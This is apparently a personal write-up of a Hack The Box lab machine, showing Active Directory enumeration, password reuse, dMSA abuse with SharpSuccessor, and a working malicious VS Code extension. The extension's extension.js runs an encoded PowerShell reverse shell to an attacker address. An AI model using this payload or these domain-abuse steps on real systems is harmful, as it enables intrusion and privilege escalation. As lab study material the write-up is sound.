IP=10.129.90.123
nmap -Pn -p- -T4 -vv -oG nmap.grep $IP; nmap -sVC -Pn -p$(grep -oP '\d+(?=/open)' nmap.grep | paste -sd "," -) $IP;
# PORT STATE SERVICE VERSION
# 53/tcp open domain Simple DNS Plus
# 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-19 02:20:50Z)
# 135/tcp open msrpc Microsoft Windows RPC
# 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
# 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb0., Site: Default-First-Site-Name)
# 445/tcp open microsoft-ds?
# 464/tcp open kpasswd5?
# 636/tcp open ldapssl?
# 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb0., Site: Default-First-Site-Name)
# 3269/tcp open globalcatLDAPssl?
# 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
# |_http-title: Not Found
# |_http-server-header: Microsoft-HTTPAPI/2.0
# 9389/tcp open mc-nmf .NET Message Framing
# 49664/tcp open msrpc Microsoft Windows RPC
# 49668/tcp open msrpc Microsoft Windows RPC
# 49669/tcp open msrpc Microsoft Windows RPC
# 49673/tcp open msrpc Microsoft Windows RPC
# 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
# 49683/tcp open msrpc Microsoft Windows RPC
# 49704/tcp open msrpc Microsoft Windows RPC
# 49712/tcp open msrpc Microsoft Windows RPC
# Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
#
# Host script results:
# | smb2-time:
# | date: 2026-06-19T02:21:42
# |_ start_date: N/A
# | smb2-security-mode:
# | 311:
# |_ Message signing enabled and required
# |_clock-skew: 7h00m02s
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 95.72 seconds
nmap -sU --min-rate=5000 -p- $IP
# PORT STATE SERVICE
# 53/udp open domain
# 123/udp open ntp
# 389/udp open ldap
#
# Nmap done: 1 IP address (1 host up) scanned in 26.49 seconds
nxc smb "$IP" -u '' -p '' --generate-hosts-file /tmp/hosts; cat /tmp/hosts >> /etc/hosts
# 10.129.28.58 DC01.checkpoint.htb checkpoint.htb DC01
We are provided with the credentials for: alex.turner:Checkpoint2024!
Alex has access to SMB shares:
nxc smb "$IP" -u 'alex.turner' -p 'Checkpoint2024!' --shares
# SMB 10.129.28.58 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
# SMB 10.129.28.58 445 DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024!
# SMB 10.129.28.58 445 DC01 [*] Enumerated shares
# SMB 10.129.28.58 445 DC01 Share Permissions Remark
# SMB 10.129.28.58 445 DC01 ----- ----------- ------
# SMB 10.129.28.58 445 DC01 ADMIN$ Remote Admin
# SMB 10.129.28.58 445 DC01 C$ Default share
# SMB 10.129.28.58 445 DC01 DevDrop READ VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
# SMB 10.129.28.58 445 DC01 IPC$ READ Remote IPC
# SMB 10.129.28.58 445 DC01 NETLOGON READ Logon server share
# SMB 10.129.28.58 445 DC01 SYSVOL READ Logon server share
# SMB 10.129.28.58 445 DC01 VMBackups
DevDrop is empty, nothing useful in the SYSVOL, though that description for VSCode .vsix packages compatible with engine v1.118.0 is interesting. I tried interacting with the share but we don't have write permissions with alex.turner, let's keep that in mind for later.
Let's see if we can scan LDAP with Bloodhound:
nxc ldap dc01.checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' --bloodhound -c All --dns-server 10.129.29.16
# LDAP 10.129.29.16 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert)
# LDAP 10.129.29.16 389 DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024!
# LDAP 10.129.29.16 389 DC01 Resolved collection methods: localadmin, objectprops, trusts, acl, psremote, rdp, container, group, session, dcom
# LDAP 10.129.29.16 389 DC01 [-] BloodHound collection failed: LDAPSocketOpenError - socket ssl wrapping error: [Errno 104] Connection reset by peer
Interesting, it's as if LDAPS was enforced, but LDAPS is not configured, let's force BloodHound to use LDAPS:
nxc ldap dc01.checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' --bloodhound -c All --dns-server 10.129.29.16 --port 636
# LDAP 10.129.29.16 636 dc01.checkpoint.htb [-] LDAPs connection to ldaps://10.129.29.16 failed - (104, 'ECONNRESET')
# LDAP 10.129.29.16 636 dc01.checkpoint.htb [-] Even if the port is open, LDAPS may not be configured
Huh, for redundancy sakes I tried with openssl to fetch the TLS cert even though nxc says there's none, and it failed again.
I then tried a bit of everything in the end this worked:
rusthound -d checkpoint.htb -u 'alex.turner' -f dc01.checkpoint.htb -k --zip
# ---------------------------------------------------
# Initializing RustHound at 22:17:34 on 06/19/26
# Powered by g0h4n from OpenCyber
# ---------------------------------------------------
#
# [2026-06-19T22:17:34Z INFO rusthound] Verbosity level: Info
# [2026-06-19T22:17:34Z INFO rusthound::ldap] Connected to CHECKPOINT.HTB Active Directory!
# [2026-06-19T22:17:34Z INFO rusthound::ldap] Starting data collection...
# [2026-06-19T22:17:34Z INFO rusthound::ldap] All data collected for NamingContext DC=checkpoint,DC=htb
# [2026-06-19T22:17:34Z INFO rusthound::json::parser] Starting the LDAP objects parsing...
# [2026-06-19T22:17:34Z INFO rusthound::json::parser] Parsing LDAP objects finished!
# [2026-06-19T22:17:34Z INFO rusthound::json::checker] Starting checker to replace some values...
# [2026-06-19T22:17:34Z INFO rusthound::json::checker] Checking and replacing some values finished!
# [2026-06-19T22:17:34Z INFO rusthound::json::maker] 18 users parsed!
# [2026-06-19T22:17:34Z INFO rusthound::json::maker] 70 groups parsed!
# [2026-06-19T22:17:35Z INFO rusthound::json::maker] 1 computers parsed!
# [2026-06-19T22:17:35Z INFO rusthound::json::maker] 8 ous parsed!
# [2026-06-19T22:17:35Z INFO rusthound::json::maker] 1 domains parsed!
# [2026-06-19T22:17:35Z INFO rusthound::json::maker] 2 gpos parsed!
# [2026-06-19T22:17:35Z INFO rusthound::json::maker] 21 containers parsed!
# [2026-06-19T22:17:35Z INFO rusthound::json::maker] .//20260619221734_checkpoint-htb_rusthound.zip created!
#
# RustHound Enumeration Completed at 22:17:35 on 06/19/26! Happy Graphing!
Unfortunately rusthound is notoriously bad, since it's been abandoned for a while but it's a good start.
We find that Alex is part of the IT-Staff and VPN-Users groups:

IT might be why we have access to the DevDrops share, but the VPN-Users group is interesting, maybe we have a specific right somewhere?
After looking for other sources of information I wen't back to other CLI based LDAP tools, and I found a feature I never used in BloodyAD get writable, which enumerates all LDAP objects that the user has write access to, it seems that alex.turner has write access on a deleted user mark.davies:
bloodyAD --host dc01.checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' -d checkpoint.htb get writable
# distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
# DACL: WRITE
#
# distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
# permission: WRITE
#
# distinguishedName: OU=Employees,DC=checkpoint,DC=htb
# permission: CREATE_CHILD
#
# distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
# permission: WRITE
#
# distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
# permission: WRITE
[!NOTE] I tried to understand why BloodyAD was able to do fetch information, it seems to be specficially made to work in the worst possible conditions, so when the server tries to negotiate LDAPS and it eventually fails, BLoodyAD goes back and forces the communication in LDAP.
Since mark.davies is deleted and we have write access, we can try to restore them:
bloodyAD --host dc01.checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' -d checkpoint.htb set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
# [+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
Here I tried an exhaustive amount of things, though nothing worked especially since you keep getting gaslighted with the weird broken LDAPS. At some point I found that mark.davies just has the same password as alex.turner, this is very guessy… Don't like it:
nxc smb dc01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares
# SMB 10.129.29.188 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
# SMB 10.129.29.188 445 DC01 [+] checkpoint.htb\mark.davies:Checkpoint2024!
# SMB 10.129.29.188 445 DC01 [*] Enumerated shares
# SMB 10.129.29.188 445 DC01 Share Permissions Remark
# SMB 10.129.29.188 445 DC01 ----- ----------- ------
# SMB 10.129.29.188 445 DC01 ADMIN$ Remote Admin
# SMB 10.129.29.188 445 DC01 C$ Default share
# SMB 10.129.29.188 445 DC01 DevDrop READ,WRITE VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
# SMB 10.129.29.188 445 DC01 IPC$ READ Remote IPC
# SMB 10.129.29.188 445 DC01 NETLOGON READ Logon server share
# SMB 10.129.29.188 445 DC01 SYSVOL READ Logon server share
# SMB 10.129.29.188 445 DC01 VMBackups
Great we now have write access we can exploit the VSCode extension vulnerability, this is not a CVE per-say just that we can upload any .vsix which is just a zip file containing Node.JS, so we can get RCE pretty easily.
We need two files, a package.json, we will get RCE through the main property, this just loads the entry point of the node module:
{
"name": "my-ext",
"displayName": "Simple Extension",
"publisher": "badguy",
"version": "1.0.0",
"engines": {
"vscode": "^1.80.0"
},
"main": "./extension.js",
"activationEvents": [
"*"
]
}
And the extension.js contains a simple revshell and all the required boilerplate for the VSCode extension:
const { exec } = require('child_process');
const payload = `powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMgAyADUAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==`;
exec(payload, (error, stdout, stderr) => {});
function activate(context) {}
function deactivate() {}
module.exports = {
activate,
deactivate
};
Now we need to package the extension:
npx @vscode/vsce package
# WARNING A 'repository' field is missing from the 'package.json' manifest file.
# Use --allow-missing-repository to bypass.
# Do you want to continue? [y/N] y
# WARNING Using '*' activation is usually a bad idea as it impacts performance.
# More info: https://code.visualstudio.com/api/references/activation-events#Start-up
# Use --allow-star-activation to bypass.
# Do you want to continue? [y/N] y
# WARNING LICENSE, LICENSE.md, or LICENSE.txt not found
# Do you want to continue? [y/N] y
# WARNING Neither a .vscodeignore file nor a "files" property in package.json was found. To ensure only necessary files are included in your extension, add a .vscodeignore file or specify the "files" property in package.json. More info: https://aka.ms/vscode-vscodeignore
#
# INFO Files included in the VSIX:
# my-ext-1.0.0.vsix
# ├─ [Content_Types].xml
# ├─ extension.vsixmanifest
# └─ extension/
# ├─ extension.js [1.61 KB]
# └─ package.json [0.21 KB]
#
# The file extension/extension.js is large (1.61 KB)
#
# DONE Packaged: /workspace/my-ext/my-ext-1.0.0.vsix (4 files, 2.17 KB)
And upload it to the share + start the listener:
smbclient -U 'mark.davies' --password 'Checkpoint2024!' "\\\\10.129.29.188\\DevDrop" -c 'del my-ext-1.0.0.vsix; put my-ext-1.0.0.vsix'
# putting file my-ext-1.0.0.vsix as \my-ext-1.0.0.vsix (31.0 kb/s) (average 31.0 kb/s)
nc -lvnp 443
# Ncat: Version 7.93 ( https://nmap.org/ncat )
# Ncat: Listening on :::443
# Ncat: Listening on 0.0.0.0:443
# Ncat: Connection from 10.129.29.188.
# Ncat: Connection from 10.129.29.188:65432.
PS C:\Program Files\Microsoft VS Code> whoami
# checkpoint\ryan.brooks
PS C:\Program Files\Microsoft VS Code> cd C:\Users\ryan.brooks\Desktop
PS C:\Users\ryan.brooks\Desktop> dir
#
# Directory: C:\Users\ryan.brooks\Desktop
#
# Mode LastWriteTime Length Name
# ---- ------------- ------ ----
# -ar--- 6/20/2026 8:07 AM 34 user.txt
Looking at the rusthound output we see that ryan.brooks has genericWrite over svc_deploy, let's try to abuse that.

After a lot of head banging, I started to directly look at the entire tree of dependencies for the users, and by looking at all ACL's over all users and their groups and their OUs I finally found something interesting:
Get-ADOrganizationalUnit -Filter * -Properties * | Select-Object Name, DistinguishedName, Description, ManagedBy
# Name DistinguishedName Description ManagedBy
# ---- ----------------- ----------- ---------
# Domain Controllers OU=Domain Controllers,DC=checkpoint,DC=htb Default container for domain controllers
# Employees OU=Employees,DC=checkpoint,DC=htb
# ServiceAccounts OU=ServiceAccounts,DC=checkpoint,DC=htb
# DMSAHolder OU=DMSAHolder,DC=checkpoint,DC=htb
# IT OU=IT,OU=Employees,DC=checkpoint,DC=htb
# Finance OU=Finance,OU=Employees,DC=checkpoint,DC=htb
# HR OU=HR,OU=Employees,DC=checkpoint,DC=htb
# Engineering OU=Engineering,OU=Employees,DC=checkpoint,DC=htb
That dMSAHolder OU was something I didn't notice at first, though after looking online it seems to be a default OU, at least for modern 2025 DC's, we've explored dMSA misconfigs before especially with the BadSuccessor vulnerability, in the Eighteen machine.
Let's look at the ACL's for that OU:
(Get-Acl "AD:\OU=DMSAHolder,DC=checkpoint,DC=htb").Access | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType, InheritanceType
# IdentityReference ActiveDirectoryRights
# ----------------- ---------------------
# ...
# CHECKPOINT\ryan.brooks CreateChild
# ...
Looking online I see that this CreateChild right is exactly what we need, since we have genericWrite over svc_deploy and we can't do anything usual, our last interesting path would be RBCD, but all users have a MAQ of 0.
After looking online I learned that this is one of the rare MAQ bypasses, since we have CreateChild over a OU, this gives us the right to create a new machine within that OU, even with a MAQ of 0:
New-ADComputer -Name "EVILPC$" -Path "OU=DMSAHolder,DC=checkpoint,DC=htb" -SamAccountName "EVILPC$" -Enabled $true
Set-ADAccountPassword -Identity EVILPC$ -NewPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force)
Now to check it if executed and replicated correctly:
bloodyAD --host dc01.checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' -d checkpoint.htb get object EVILPC$ --attr distinguisedName
# distinguishedName: CN=EVILPC$,OU=DMSAHolder,DC=checkpoint,DC=htb
nxc ldap dc01.checkpoint.htb -u EVILPC$ -p 'P@ssw0rd123!'
# LDAP 10.129.29.188 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert)
# LDAP 10.129.29.188 389 DC01 [+] checkpoint.htb\EVILPC$:P@ssw0rd123!
Amazing! We should be able to get RBCD, though we need to stay on RSAT (ActiveDirectory CMDlets), since there's the whole LDAPS issue still.
Let's try to do it manually then, first the right to delegate to:
Set-ADUser svc_deploy -ServicePrincipalNames @{Add="HTTP/dc01.checkpoint.htb"}
Set-ADUser -Identity svc_deploy -PrincipalsAllowedToDelegateToAccount EVILPC$
And confirming it:
bloodyAD --host dc01.checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' -d checkpoint.htb get object 'svc_deploy' --attr msDs-AllowedToActOnBehalfOfOtherIdentity,ServicePrincipalName
# distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
# msDS-AllowedToActOnBehalfOfOtherIdentity: O:S-1-5-32-544D:(A;;0xf01ff;;;S-1-5-21-3129162710-3498938529-1807524340-7102)
Get-ADObject -Filter "ObjectSid -eq 'S-1-5-21-3129162710-3498938529-1807524340-7102'"
# DistinguishedName Name ObjectClass ObjectGUID
# ----------------- ---- ----------- ----------
# CN=EVILPC$,OU=DMSAHolder,DC=checkpoint,DC=htb EVILPC$ computer 133a09bb-e6a9-4098-a8aa-31f354ff4df5
We got the delegation right but the SPN is not set, I tried a lot of things and nothing seems to work, Validated write to SPN is an explicit right outside of GenericWrite, and we don't have it, so either we find some other way to get SPN or RBCD is a dead end…
Summary from BetterSuccessor article:
Pre-patch (BadSuccessor):
Create dMSA with msDS-ManagedAccountPrecededByLink → Target
Request TGT as dMSA → KDC issues ticket as Target (one-way link)
Post-patch (BetterSuccessor):
KDC now validates mutual pairing - both directions required:
dMSA → Target: msDS-ManagedAccountPrecededByLink
Target → dMSA: msDS-SupersededManagedAccountLink + msDS-SupersededServiceAccountState=2
Requirements:
CreateChild on OU (create dMSA)
GenericWrite on target account (set reverse link)
Execution:
SharpSuccessor creates dMSA and sets both links automatically
Request TGT for dMSA account (needs dMSA credentials/hash)
KDC cross-checks mutual pairing → issues ticket as target account
Use target's privileges (DCSync, WinRM, etc.)
Your blocker: You have mutual pairing set up (evil_dmsa_2$ ↔ svc_deploy), but you lack the dMSA account credentials to request the initial TGT. You need either:
The dMSA password (auto-generated, stored in msDS-ManagedPassword)
Or use an existing privileged ticket to extract it (DCSync)
Automation using SharpSuccessor:
.\SharpSuccessor.exe add /impersonate:svc_deploy /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:evil_dmsa_2 2>&1 ___ _ ___ / __| | / __| | (_ | | __ _ _ __ _ | (_ _ _ _ ___ ___ ___ ___ ___ _ __ _ | '_ \ / ` | '| '_ \ | | | |/ / __/ _ \/ __/ __|/ _ | '| __) | | | | (| | | | |) |) | || | (| (| /__ __ \ () | | |/|| ||_,|| | .__// _,|___||//__/|| | | |_| @_logangoins
[+] Adding dnshostname evil_dmsa_2.checkpoint.htb [+] Adding samaccountname evil_dmsa_2$ [+] svc_deploy's DN identified [+] Attempting to write msDS-ManagedAccountPrecededByLink [+] Wrote attribute successfully [+] Attempting to write msDS-DelegatedMSAState attribute [+] Attempting to set access rights on the dMSA object [+] Attempting to write msDS-SupportedEncryptionTypes attribute [+] Attempting to write userAccountControl attribute [+] Created dMSA object 'CN=evil_dmsa_2' in 'OU=DMSAHolder,DC=checkpoint,DC=htb' [+] Successfully weaponized dMSA object [+] Found target account, attempting to write attributes [+] CN=evil_dmsa_2,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object [+] msDS-SupersededServiceAccountState set to 2 [+] Wrote to target account successfully
2026 © Philippe Cheype
Base theme by Digital Garden